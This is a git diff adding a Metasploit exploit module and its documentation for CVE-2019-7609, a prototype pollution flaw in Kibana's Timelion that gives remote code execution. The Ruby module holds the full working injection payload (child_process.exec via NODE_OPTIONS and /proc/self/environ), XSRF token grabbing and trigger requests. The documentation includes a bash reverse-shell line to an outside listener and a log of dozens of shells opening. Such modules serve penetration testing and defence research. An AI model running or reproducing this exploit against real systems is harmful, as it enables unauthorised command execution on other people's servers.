diff --git a/documentation/modules/exploit/linux/http/kibana_timelion_prototype_pollution_rce.md b/documentation/modules/exploit/linux/http/kibana_timelion_prototype_pollution_rce.md new file mode 100644 index 000000000000..c3c4459622b0 --- /dev/null +++ b/documentation/modules/exploit/linux/http/kibana_timelion_prototype_pollution_rce.md @@ -0,0 +1,104 @@ +## Vulnerable Application + +Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. +An attacker with access to the Timelion application could send a request that will attempt to execute +javascript code. This leads to an arbitrary command execution with permissions of the +Kibana process on the host system. + +Tested against kibana 6.5.4, yielding between 43-53 shells. + +### Install + +Use the [docker-compose.yml](https://github.com/mpgn/CVE-2019-7609/issues/1) but also note the comment +about needing `6.5.4`. + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use use exploit/linux/http/kibana_timelion_prototype_pollution_rce` +1. Do: `set rhost [ip]` +1. Do: `set lhost [ip]` +1. Do: `run` +1. You should get a shell as the kibana user. + +## Options + +## Scenarios + +### Kibana 6.5.4 on Docker + +``` +msf6 > use exploit/linux/http/kibana_timelion_prototype_pollution_rce +[*] Using configured payload cmd/unix/reverse_bash +msf6 exploit(linux/http/kibana_timelion_prototype_pollution_rce) > set verbose true +verbose => true +msf6 exploit(linux/http/kibana_timelion_prototype_pollution_rce) > set lhost 111.111.1.111 +lhost => 111.111.1.111 +msf6 exploit(linux/http/kibana_timelion_prototype_pollution_rce) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 exploit(linux/http/kibana_timelion_prototype_pollution_rce) > exploit + +[+] bash -c '0<&78-;exec 78<>/dev/tcp/111.111.1.111/4444;sh <&78 >&78 2>&78' +[*] Started reverse TCP handler on 111.111.1.111:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Exploitable Version Detected: 6.5.4 +[*] Polluting Prototype in Timelion +[*] Grabbing XSRF Token +[*] Trigginger payload execution via canvas socket +[*] Waiting for shells +[*] Command shell session 1 opened (111.111.1.111:4444 -> 172.19.0.3:34480) at 2023-08-24 15:14:03 -0400 +[*] Command shell session 2 opened (111.111.1.111:4444 -> 172.19.0.3:34486) at 2023-08-24 15:14:03 -0400 +[*] Command shell session 3 opened (111.111.1.111:4444 -> 172.19.0.3:34498) at 2023-08-24 15:14:03 -0400 +[*] Unsetting to stop raining shells from a lacerated kibana + +[*] Command shell session 4 opened (111.111.1.111:4444 -> 172.19.0.3:34512) at 2023-08-24 15:14:08 -0400 +[*] Command shell session 8 opened (111.111.1.111:4444 -> 172.19.0.3:34548) at 2023-08-24 15:14:09 -0400 +[*] Command shell session 6 opened (111.111.1.111:4444 -> 172.19.0.3:34530) at 2023-08-24 15:14:09 -0400 +[*] Command shell session 7 opened (111.111.1.111:4444 -> 172.19.0.3:34546) at 2023-08-24 15:14:09 -0400 +[*] Command shell session 10 opened (111.111.1.111:4444 -> 172.19.0.3:34556) at 2023-08-24 15:14:14 -0400 +[*] Command shell session 13 opened (111.111.1.111:4444 -> 172.19.0.3:34566) at 2023-08-24 15:14:15 -0400 +[*] Command shell session 12 opened (111.111.1.111:4444 -> 172.19.0.3:34562) at 2023-08-24 15:14:15 -0400 +[*] Command shell session 11 opened (111.111.1.111:4444 -> 172.19.0.3:34560) at 2023-08-24 15:14:15 -0400 +[*] Command shell session 14 opened (111.111.1.111:4444 -> 172.19.0.3:34576) at 2023-08-24 15:14:21 -0400 +[*] Command shell session 15 opened (111.111.1.111:4444 -> 172.19.0.3:34592) at 2023-08-24 15:14:22 -0400 +[*] Command shell session 17 opened (111.111.1.111:4444 -> 172.19.0.3:34612) at 2023-08-24 15:14:22 -0400 +[*] Command shell session 16 opened (111.111.1.111:4444 -> 172.19.0.3:34602) at 2023-08-24 15:14:22 -0400 +[*] Command shell session 18 opened (111.111.1.111:4444 -> 172.19.0.3:34616) at 2023-08-24 15:14:27 -0400 +[*] Command shell session 19 opened (111.111.1.111:4444 -> 172.19.0.3:34624) at 2023-08-24 15:14:28 -0400 +[*] Command shell session 20 opened (111.111.1.111:4444 -> 172.19.0.3:34626) at 2023-08-24 15:14:28 -0400 +[*] Command shell session 21 opened (111.111.1.111:4444 -> 172.19.0.3:34638) at 2023-08-24 15:14:28 -0400 +[*] Command shell session 22 opened (111.111.1.111:4444 -> 172.19.0.3:34642) at 2023-08-24 15:14:33 -0400 +[*] Command shell session 25 opened (111.111.1.111:4444 -> 172.19.0.3:34676) at 2023-08-24 15:14:35 -0400 +[*] Command shell session 24 opened (111.111.1.111:4444 -> 172.19.0.3:34662) at 2023-08-24 15:14:35 -0400 +[*] Command shell session 23 opened (111.111.1.111:4444 -> 172.19.0.3:34652) at 2023-08-24 15:14:35 -0400 +[*] Command shell session 9 opened (111.111.1.111:4444 -> 172.19.0.3:34550) at 2023-08-24 15:14:39 -0400 +[*] Command shell session 26 opened (111.111.1.111:4444 -> 172.19.0.3:34692) at 2023-08-24 15:14:40 -0400 +[*] Command shell session 28 opened (111.111.1.111:4444 -> 172.19.0.3:34720) at 2023-08-24 15:14:41 -0400 +[*] Command shell session 29 opened (111.111.1.111:4444 -> 172.19.0.3:34736) at 2023-08-24 15:14:41 -0400 +[*] Command shell session 27 opened (111.111.1.111:4444 -> 172.19.0.3:34704) at 2023-08-24 15:14:41 -0400 +[*] Command shell session 31 opened (111.111.1.111:4444 -> 172.19.0.3:34758) at 2023-08-24 15:14:46 -0400 +[*] Command shell session 32 opened (111.111.1.111:4444 -> 172.19.0.3:34762) at 2023-08-24 15:14:47 -0400 +[*] Command shell session 33 opened (111.111.1.111:4444 -> 172.19.0.3:34772) at 2023-08-24 15:14:47 -0400 +[*] Command shell session 34 opened (111.111.1.111:4444 -> 172.19.0.3:34788) at 2023-08-24 15:14:47 -0400 +[*] Command shell session 35 opened (111.111.1.111:4444 -> 172.19.0.3:34800) at 2023-08-24 15:14:52 -0400 +[*] Command shell session 38 opened (111.111.1.111:4444 -> 172.19.0.3:34828) at 2023-08-24 15:14:54 -0400 +[*] Command shell session 36 opened (111.111.1.111:4444 -> 172.19.0.3:34804) at 2023-08-24 15:14:54 -0400 +[*] Command shell session 37 opened (111.111.1.111:4444 -> 172.19.0.3:34818) at 2023-08-24 15:14:54 -0400 +[*] Command shell session 39 opened (111.111.1.111:4444 -> 172.19.0.3:34838) at 2023-08-24 15:14:58 -0400 +[*] Command shell session 42 opened (111.111.1.111:4444 -> 172.19.0.3:34868) at 2023-08-24 15:15:00 -0400 +[*] Command shell session 41 opened (111.111.1.111:4444 -> 172.19.0.3:34860) at 2023-08-24 15:15:00 -0400 +[*] Command shell session 40 opened (111.111.1.111:4444 -> 172.19.0.3:34850) at 2023-08-24 15:15:00 -0400 +[*] Command shell session 43 opened (111.111.1.111:4444 -> 172.19.0.3:34870) at 2023-08-24 15:15:05 -0400 +[*] Command shell session 45 opened (111.111.1.111:4444 -> 172.19.0.3:34890) at 2023-08-24 15:15:06 -0400 +[*] Command shell session 44 opened (111.111.1.111:4444 -> 172.19.0.3:34886) at 2023-08-24 15:15:06 -0400 +[*] Command shell session 46 opened (111.111.1.111:4444 -> 172.19.0.3:34898) at 2023-08-24 15:15:06 -0400 +[*] Command shell session 30 opened (111.111.1.111:4444 -> 172.19.0.3:34742) at 2023-08-24 15:15:10 -0400 +[*] Command shell session 47 opened (111.111.1.111:4444 -> 172.19.0.3:34910) at 2023-08-24 15:15:11 -0400 +[*] Command shell session 48 opened (111.111.1.111:4444 -> 172.19.0.3:34914) at 2023-08-24 15:15:13 -0400 + +id +uid=1000(kibana) gid=1000(kibana) groups=1000(kibana) +uname -a +Linux 452752fde1a8 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64 x86_64 x86_64 GNU/Linux +``` diff --git a/modules/exploits/linux/http/kibana_timelion_prototype_pollution_rce.rb b/modules/exploits/linux/http/kibana_timelion_prototype_pollution_rce.rb new file mode 100644 index 000000000000..50ce1f9f1852 --- /dev/null +++ b/modules/exploits/linux/http/kibana_timelion_prototype_pollution_rce.rb @@ -0,0 +1,197 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ManualRanking + include Msf::Exploit::Remote::HttpClient + prepend Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Kibana Timelion Prototype Pollution RCE', + 'Description' => %q{ + Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. + An attacker with access to the Timelion application could send a request that will attempt to execute + javascript code. This leads to an arbitrary command execution with permissions of the + Kibana process on the host system. + + Exploitation will require a service or system reboot to restore normal operation. + + The WFSDELAY parameter is crucial for this exploit. Setting it too high will cause MANY shells + (50-100+), while setting it too low will cause no shells to be obtained. WFSDELAY of 10 for a + docker image caused 6 shells. + + Tested against kibana 6.5.4. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'MichaƂ Bentkowski', # original PoC, analysis + 'Gaetan Ferry' # more analysis + ], + 'References' => [ + [ 'URL', 'https://github.com/mpgn/CVE-2019-7609'], + [ 'URL', 'https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/'], + [ 'CVE', '2019-7609'] + ], + 'Platform' => ['unix'], + 'Privileged' => false, + 'Arch' => ARCH_CMD, + 'Targets' => [ + [ 'Automatic Target', {}] + ], + 'DisclosureDate' => '2019-10-30', + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash', + 'WfsDelay' => 10 # can take a minute to run + }, + 'Notes' => { + # the webserver doesn't die, but certain requests no longer respond before a timeout + # when things go poorly + 'Stability' => [CRASH_SERVICE_DOWN], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + register_options( + [ + Opt::RPORT(5601), + OptString.new('TARGETURI', [ true, 'The URI of the Kibana Application', '/']) + ] + ) + end + + def check + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'app', 'kibana'), + 'method' => 'GET', + 'keep_cookies' => true + ) + return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? + return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200 + + # this pulls a big JSON blob that we need as it has the version + unless %r{} =~ res.body + return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") + end + + version_json = CGI.unescapeHTML(Regexp.last_match(1)) + + begin + json_body = JSON.parse(version_json) + rescue JSON::ParserError + return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") + end + + return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") if json_body['version'].nil? + + @version = json_body['version'] + + if Rex::Version.new(@version) < Rex::Version.new('5.6.15') || + ( + Rex::Version.new(@version) < Rex::Version.new('6.6.1') && + Rex::Version.new(@version) >= Rex::Version.new('6.0.0') + ) + return CheckCode::Appears("Exploitable Version Detected: #{@version}") + end + + CheckCode::Safe("Unexploitable Version Detected: #{@version}") + end + + def get_xsrf + vprint_status('Grabbing XSRF Token') + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'bundles', 'canvas.bundle.js'), + 'keep_cookies' => true + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 + + return Regexp.last_match(1) if /"kbn-xsrf":"([^"]+)"/ =~ res.body + + nil + end + + def trigger_socket + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'socket.io/'), # trailing / is required + 'keep_cookies' => true, + 'headers' => { + 'kbn-xsrf' => @xsrf + }, + 'vars_get' => { + 'EIO' => 3, + 'transport' => 'polling' + } + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 + end + + def send_injection(reset: false) + if reset + pload = ".es(*).props(label.__proto__.env.AAAA='').props(label.__proto__.env.NODE_OPTIONS='')" + else + # we leave a marker for our payload to avoid having .to_json process it and make it unusable by the host OS + pload = %|.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("PAYLOADHERE");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')| + end + body = { + 'sheet' => [pload], + 'time' => { + 'from' => 'now-15m', + 'to' => 'now', + 'mode' => 'quick', + 'interval' => 'auto', + 'timezone' => 'America/New_York' + } + } + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'timelion', 'run'), + 'method' => 'POST', + 'ctype' => 'application/json', + 'headers' => { 'kbn-version' => @version }, + 'data' => body.to_json.sub('PAYLOADHERE', payload.encoded.gsub("'", "\\\\\\\\\\\\\\\\'")), + 'keep_cookies' => true + ) + Rex.sleep(2) # let this take hold, if we go too fast we dont get the shell + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 + end + + def exploit + check if @version.nil? + print_status('Polluting Prototype in Timelion') + send_injection + + @xsrf = get_xsrf + fail_with(Failure::UnexpectedReply, "#{peer} - Unable to grab XSRF token") if @xsrf.nil? + + print_status('Trigginger payload execution via canvas socket') + trigger_socket + print_status('Waiting for shells') + Rex.sleep(datastore['WFSDELAY'] / 10) + unless @reset_done + print_status('Unsetting to stop raining shells from a lacerated kibana') + send_injection(reset: true) + trigger_socket + end + end + + def on_new_session(_client) + return if @reset_done + + print_status('Unsetting to stop raining shells from a lacerated kibana') + send_injection(reset: true) + trigger_socket + @reset_done = true + ensure + super + end + +end